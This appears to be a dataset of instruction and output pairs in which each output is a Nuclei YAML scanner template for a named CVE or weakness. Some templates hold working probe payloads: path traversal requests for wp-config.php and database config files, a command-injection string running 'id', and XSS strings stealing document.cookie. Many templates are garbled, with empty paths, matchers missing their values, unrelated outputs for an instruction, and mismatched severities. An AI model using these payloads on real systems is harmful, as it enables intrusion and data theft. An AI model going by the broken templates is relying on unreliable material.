Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: soccitizen4eu

info:
  name: Soc.citizen4.eu User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Soc.citizen4.eu user name information check was conducted.
  tags: osint,osint-social,soccitizen4eu,discovery

http:
  - method: GET
    path:
      - "https://soc.citizen4.eu/profile/{{user}}/profile"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "@soc.citizen4.eu"
        part: body


Instruction: Generate a Nuclei template for: Complianz – GDPR/CCPA Cookie Consent Detection

Input:
Title: Complianz – GDPR/CCPA Cookie Consent Detection
Summary: Complianz – GDPR/CCPA Cookie Consent Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-complianz-gdpr

info:
  name: Complianz – GDPR/CCPA Cookie Consent Detection
  author: ricardomaia
  severity: info
  description: Complianz – GDPR/CCPA Cookie Consent Detection
  tags: tech,wordpress,wp-plugin,top-100,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/complianz-gdpr/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for CVE-2023-5830

Input:
Title: Authentication Bypass in documentlocator document_locator
Summary: A vulnerability classified as critical has been found in ColumbiaSoft Document Locator. This affects an unknown part of the file /api/authentication/login of the component WebTools. The manipulation of the argument Server leads to improper authentication. It is possible to initiate the attack remotely. Upgrading to version 7.2 SP4 and 2021.1 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-243729 was assigned to this vulnerability.
Vulnerability Type: Authentication Bypass
Severity: high
Affected Products: documentlocator document_locator
Indicators: error, vulnerability detected

Output:
id: CVE-2023-5830

info:
  name: ColumbiaSoft DocumentLocator - Improper Authentication
  author: Gonski
  severity: critical
  description: Instances of ColumbiaSoft's Document Locator prior to version 7.2 SP4 and 2021.1 are vulnerable to an Improper Authentication/SSRF vulnerability. This template identifies vulnerable instances of the ColumbiaSoft Document Locater application by confirming external DNS interaction/lookups by modifying the value of the client-side SERVER parameter at /api/authentication/login.
  tags: cve,cve2023,ssrf,unauth,columbiasoft,intrusive,webtools,documentlocator,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol
      - type: word
        words:
          - ""Authorized":false"
        part: body


Instruction: Generate a Nuclei template for CVE-2021-21087

Input:
Title: Cross-Site Scripting (XSS) in adobe coldfusion
Summary: Adobe Coldfusion versions 2016 (update 16 and earlier), 2018 (update 10 and earlier) and 2021.0.0.323925 are affected by an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. An attacker could abuse this vulnerability to execute arbitrary JavaScript code in context of the current user. Exploitation of this issue requires user interaction.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: adobe coldfusion
Indicators: error, vulnerability detected

Output:
id: CVE-2021-21087

info:
  name: Adobe ColdFusion - Cross-Site Scripting
  author: Daviey
  severity: medium
  description: Adobe Coldfusion versions 2016 (update 16 and earlier), 2018 (update 10 and earlier) and 2021.0.0.323925 are affected by an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. An attacker could abuse this vulnerability to execute arbitrary JavaScript code in context of the current user. Exploitation of this issue requires user interaction.
  tags: cve2021,cve,xss,adobe,misc,coldfusion,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cf_scripts/scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/cf-scripts/scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/CFIDE/scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/cfide/scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/CF_SFSD/scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/cfide-scripts/ajax/package/cfajax.js"
      - "{{BaseURL}}/cfmx/CFIDE/scripts/ajax/package/cfajax.js"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-26085

Input:
Title: Vulnerability (CWE-425) in atlassian confluence_data_center and others
Summary: Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint. The affected versions are before version 7.4.10, and from version 7.5.0 before 7.12.3.
Vulnerability Type: Vulnerability (CWE-425)
Severity: medium
Affected Products: atlassian confluence_data_center, atlassian confluence_server
Indicators: error, vulnerability detected

Output:
id: CVE-2021-26085

info:
  name: Atlassian Confluence Server - Local File Inclusion
  author: princechaddha
  severity: medium
  description: Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint.
  tags: cve2021,cve,kev,packetstorm,confluence,atlassian,lfi,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"
    matchers:
      - type: word
        words:
          - "<display-name>Confluence</display-name>"
          - "com.atlassian.confluence.setup.ConfluenceAppConfig"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-11728

Input:
Title: SQL Injection in iqonic kivicare
Summary: The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: iqonic kivicare
Indicators: error, vulnerability detected

Output:
id: CVE-2024-11728

info:
  name: KiviCare Clinic & Patient Management System (EHR) <= 3.6.4 - SQL Injection
  author: samogod,s4e-io
  severity: high
  description: The KiviCare Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,kivicare-clinic-management-system,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "/wp-content/plugins/kivicare-clinic-management-system"
        part: body
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: hpe-system-management-login

info:
  name: Hewlett Packard Enterprise System Management Login Panel - Detect
  author: divya_mudgal
  severity: info
  description: Hewlett Packard Enterprise System Management login page was detected.
  tags: hpe,tech,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/cpqlogin.htm"
    matchers:
      - type: word
        words:
          - "HPE System Management Homepage"
          - "/proxy/ssllogin"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: OA E-Office officeserver.php Arbitrary File Read

Input:
Title: OA E-Office officeserver.php Arbitrary File Read
Summary: OA E-Office officeserver.php Arbitrary File Read. There is an arbitrary file reading vulnerability in the OA E-Office officeserver.php file. An attacker can download any file on the server through the vulnerability.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: weaver-officeserver-lfi

info:
  name: OA E-Office officeserver.php Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: There is an arbitrary file reading vulnerability in the OA E-Office officeserver.php file. An attacker can download any file on the server through the vulnerability.
  tags: weaver,e-cology,oa,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini"
    matchers:
      - type: word
        words:
          - "datapassword ="
          - "datauser ="
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect SQL Injection

Input:
Title: SQL Injection (CWE-89)
Summary: The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Vulnerability Type: SQL Injection
Severity: critical
Indicators: vulnerability detected, error

Output:
id: suspicious-sql-error-messages

info:
  name: SQL - Error Messages
  author: geeknik
  severity: critical
  description: SQL error messages that indicate probing for an injection attack were detected.
  tags: file,logs,sql,error

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: looker-panel

info:
  name: Looker Login Panel - Detect
  author: ritikchaddha,daffainfo
  severity: info
  description: Looker login panel was detected.
  tags: panel,login,looker,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "lookerVersion"
          - "lookerLocation.title"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-38154

Input:
Title: Vulnerability (CWE-732) in canon -
Summary: Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.
Vulnerability Type: Vulnerability (CWE-732)
Severity: high
Affected Products: canon -
Indicators: error, vulnerability detected

Output:
id: CVE-2021-38154

info:
  name: Canon Devices - Authentication Bypass in Catwalk Server
  author: daffainfo
  severity: high
  description: Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.
  tags: cve,cve2021,canon,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2014-4539

Input:
Title: Cross-Site Scripting (XSS) in movies_project movies
Summary: Cross-site scripting (XSS) vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: movies_project movies
Indicators: error, vulnerability detected

Output:
id: CVE-2014-4539

info:
  name: Movies <= 0.6 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,movies_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Movies ="
          - "Tags:"
        condition: and
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"
    matchers:
      - type: word
        words:
          - "'><script>alert(document.cookie)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: health-check-lfi

info:
  name: WordPress Health Check & Troubleshooting <1.24 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: WordPress Health Check & Troubleshooting prior to 1.2.4 is vulnerable to local file inclusion. Exploitation does require authentication.
  tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr,wpscan,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Concrete Security Checks

Input:
Title: Concrete Security Checks
Summary: Concrete Security Checks. A simple workflow that runs all Concrete related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: concrete-workflow

info:
  name: Concrete Security Checks
  author: dhiyaneshDK
  severity: info
  description: A simple workflow that runs all Concrete related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-50917

Input:
Title: Vulnerability (CWE-77) in mjdm majordomo
Summary: MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
Vulnerability Type: Vulnerability (CWE-77)
Severity: critical
Affected Products: mjdm majordomo
Indicators: error, vulnerability detected

Output:
id: CVE-2023-50917

info:
  name: MajorDoMo thumb.php - OS Command Injection
  author: DhiyaneshDK
  severity: critical
  description: MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
  tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B"
    matchers:
      - type: regex
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: splunk-enterprise-panel

info:
  name: Splunk Enterprise Login Panel - Detect
  author: praetorian-thendrickson
  severity: info
  description: Splunk Enterprise login panel was detected.
  tags: panel,splunk,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/en-US/account/login"
    matchers:
      - type: word
        words:
          - "Splunk Inc."
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2014-5368

Input:
Title: Path Traversal in wp_content_source_control_project wp_content_source_control
Summary: Directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: wp_content_source_control_project wp_content_source_control
Indicators: error, vulnerability detected

Output:
id: CVE-2014-5368

info:
  name: WordPress Plugin WP Content Source Control - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
  tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,seclists,wp_content_source_control_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Ensure dnsmasq Service is Not Installed

Input:
Title: Ensure dnsmasq Service is Not Installed
Summary: Ensure dnsmasq Service is Not Installed. The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: dnsmasq-service

info:
  name: Ensure dnsmasq Service is Not Installed
  author: Th3l0newolf
  severity: info
  description: The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
  tags: cis,local,cisecurity,audit,linux,ubuntu

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2016-7834

Input:
Title: Information Disclosure in sony snc_series_firmware
Summary: SONY SNC-CH115, SNC-CH120, SNC-CH160, SNC-CH220, SNC-CH260, SNC-DH120, SNC-DH120T, SNC-DH160, SNC-DH220, SNC-DH220T, SNC-DH260, SNC-EB520, SNC-EM520, SNC-EM521, SNC-ZB550, SNC-ZM550, SNC-ZM551, SNC-EP550, SNC-EP580, SNC-ER550, SNC-ER550C, SNC-ER580, SNC-ER585, SNC-ER585H, SNC-ZP550, SNC-ZR550, SNC-EP520, SNC-EP521, SNC-ER520, SNC-ER521, SNC-ER521C network cameras with firmware before Ver.1.86.00 and SONY SNC-CX600, SNC-CX600W, SNC-EB600, SNC-EB600B, SNC-EB602R, SNC-EB630, SNC-EB630B, SNC-EB632R, SNC-EM600, SNC-EM601, SNC-EM602R, SNC-EM602RC, SNC-EM630, SNC-EM631, SNC-EM632R, SNC-EM632RC, SNC-VB600, SNC-VB600B, SNC-VB600B5, SNC-VB630, SNC-VB6305, SNC-VB6307, SNC-VB632D, SNC-VB635, SNC-VM600, SNC-VM600B, SNC-VM600B5, SNC-VM601, SNC-VM601B, SNC-VM602R, SNC-VM630, SNC-VM6305, SNC-VM6307, SNC-VM631, SNC-VM632R, SNC-WR600, SNC-WR602, SNC-WR602C, SNC-WR630, SNC-WR632, SNC-WR632C, SNC-XM631, SNC-XM632, SNC-XM636, SNC-XM637, SNC-VB600L, SNC-VM600L, SNC-XM631L, SNC-WR602CL network cameras with firmware before Ver.2.7.2 are prone to sensitive information disclosure. This may allow an attacker on the same local network segment to login to the device with administrative privileges and perform operations on the device.
Vulnerability Type: Information Disclosure
Severity: high
Affected Products: sony snc_series_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2016-7834

info:
  name: Sony IPELA Engine IP Camera - Hardcoded Account
  author: af001
  severity: high
  description: Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
  tags: cve2016,cve,sony,backdoor,unauth,telnet,iot,camera,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/command/prima-factory.cgi"
    matchers:
      - type: word
        words:
          - "gen5th"
          - "gen6th"
        part: header
        condition: or
      - type: status
        status:
          - 204


Instruction: Generate a Nuclei template for: FastCGI Echo Endpoint Script - Detect

Input:
Title: FastCGI Echo Endpoint Script - Detect
Summary: FastCGI Echo Endpoint Script - Detect. FastCGI echo endpoint script was detected, which lists several kinds of sensitive information such as port numbers, server software versions, port numbers, and IP addresses.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: fastcgi-echo

info:
  name: FastCGI Echo Endpoint Script - Detect
  author: powerexploit
  severity: info
  description: FastCGI echo endpoint script was detected, which lists several kinds of sensitive information such as port numbers, server software versions, port numbers, and IP addresses.
  tags: exposure,logs,oracle,fastcgi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fcgi-bin/echo"
    matchers:
      - type: word
        words:
          - "<title>FastCGI echo</title>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-1938

Input:
Title: Unknown Vulnerability in apache geode and others
Summary: When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: apache geode, apache tomcat, fedoraproject fedora
Indicators: error, vulnerability detected

Output:
id: CVE-2020-1938

info:
  name: Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability
  author: milo2012
  severity: critical
  description: When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
  tags: cve,cve2020,kev,tenable,apache,lfi,network,tomcat,ajp,tcp,vkev,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: LuminosityLink Malware - Detect

Input:
Title: LuminosityLink Malware - Detect
Summary: LuminosityLink Malware - Detect. Tags: malware, file
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: luminositylink-malware

info:
  name: LuminosityLink Malware - Detect
  author: daffainfo
  severity: info
  description: LuminosityLink Malware - Detect
  tags: malware,file

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: skype phishing Detection

Input:
Title: skype phishing Detection
Summary: skype phishing Detection. A skype phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: skype-phish

info:
  name: skype phishing Detection
  author: rxerium
  severity: info
  description: A skype phishing website was detected
  tags: phishing,skype,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Skype | Stay connected with free video calls worldwide"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for CVE-2023-39796

Input:
Title: SQL Injection in wbce wbce_cms
Summary: SQL injection vulnerability in the miniform module in WBCE CMS v.1.6.0 allows remote unauthenticated attacker to execute arbitrary code via the DB_RECORD_TABLE parameter.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: wbce wbce_cms
Indicators: error, vulnerability detected

Output:
id: CVE-2023-39796

info:
  name: WBCE 1.6.0 - SQL Injection
  author: youngpope
  severity: critical
  description: There is an sql injection vulnerability in "miniform module" which is a default module installed in the WBCE cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file "/modules/miniform/ajax_delete_message.php" there is no authentication check. On line 40 in this file, there is a DELETE query that is vulnerable, an attacker could jump from the query using the tick sign - `.
  tags: time-based-sqli,cve,cve2023,sqli,wbce,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Linkerd SSRF detection

Input:
Title: Linkerd SSRF detection
Summary: Linkerd SSRF detection. Linkerd is vulnerable to SSRF.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: linkerd-ssrf-detection

info:
  name: Linkerd SSRF detection
  author: dudez
  severity: high
  description: Linkerd is vulnerable to SSRF.
  tags: ssrf,linkerd,oast,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template for: macOS Insecure /etc/sudoers Permissions

Input:
Title: macOS Insecure /etc/sudoers Permissions
Summary: macOS Insecure /etc/sudoers Permissions. Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: insecure-sudoers-permissions

info:
  name: macOS Insecure /etc/sudoers Permissions
  author: geeknik
  severity: high
  description: Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.
  tags: macos,audit,local,security,sudo

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Open Redirect

Input:
Title: Open Redirect (CWE-601)
Summary: The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
Vulnerability Type: Open Redirect
Severity: high
Indicators: vulnerability detected, error

Output:
id: bitrix-open-redirect

info:
  name: Bitrix Site Management Russia 2.0 - Open Redirect
  author: pikpikcu,gtrrnr
  severity: medium
  description: Bitrix Site Management Russia 2.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: redirect,bitrix,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    matchers:
      - type: regex
        part: header
      - type: status
        status:
          - 302
        condition: or


Instruction: Generate a Nuclei template to detect Improper Neutralization of Script-Related HTML Tags in a Web Page

Input:
Title: Improper Neutralization of Script-Related HTML Tags in a Web Page (CWE-80)
Summary: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
Vulnerability Type: Improper Neutralization of Script-Related HTML Tags in a Web Page
Severity: medium
Indicators: vulnerability detected, error

Output:
id: wordpress-wordfence-xss

info:
  name: WordPress Wordfence 7.4.6 - Cross0Site Scripting
  author: madrobot
  severity: medium
  description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting.
  tags: wordpress,wp-plugin,xss,wordfence,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Wordfence Security - "
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E"
    matchers:
      - type: word
        words:
          - "'>"<svg/onload=confirm('test')>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-37393

Input:
Title: Vulnerability (CWE-319) in securenvoy multi-factor_authentication_solutions
Summary: Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
Vulnerability Type: Vulnerability (CWE-319)
Severity: high
Affected Products: securenvoy multi-factor_authentication_solutions
Indicators: error, vulnerability detected

Output:
id: CVE-2024-37393

info:
  name: SecurEnvoy Two Factor Authentication - LDAP Injection
  author: s4e-io
  severity: critical
  description: Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
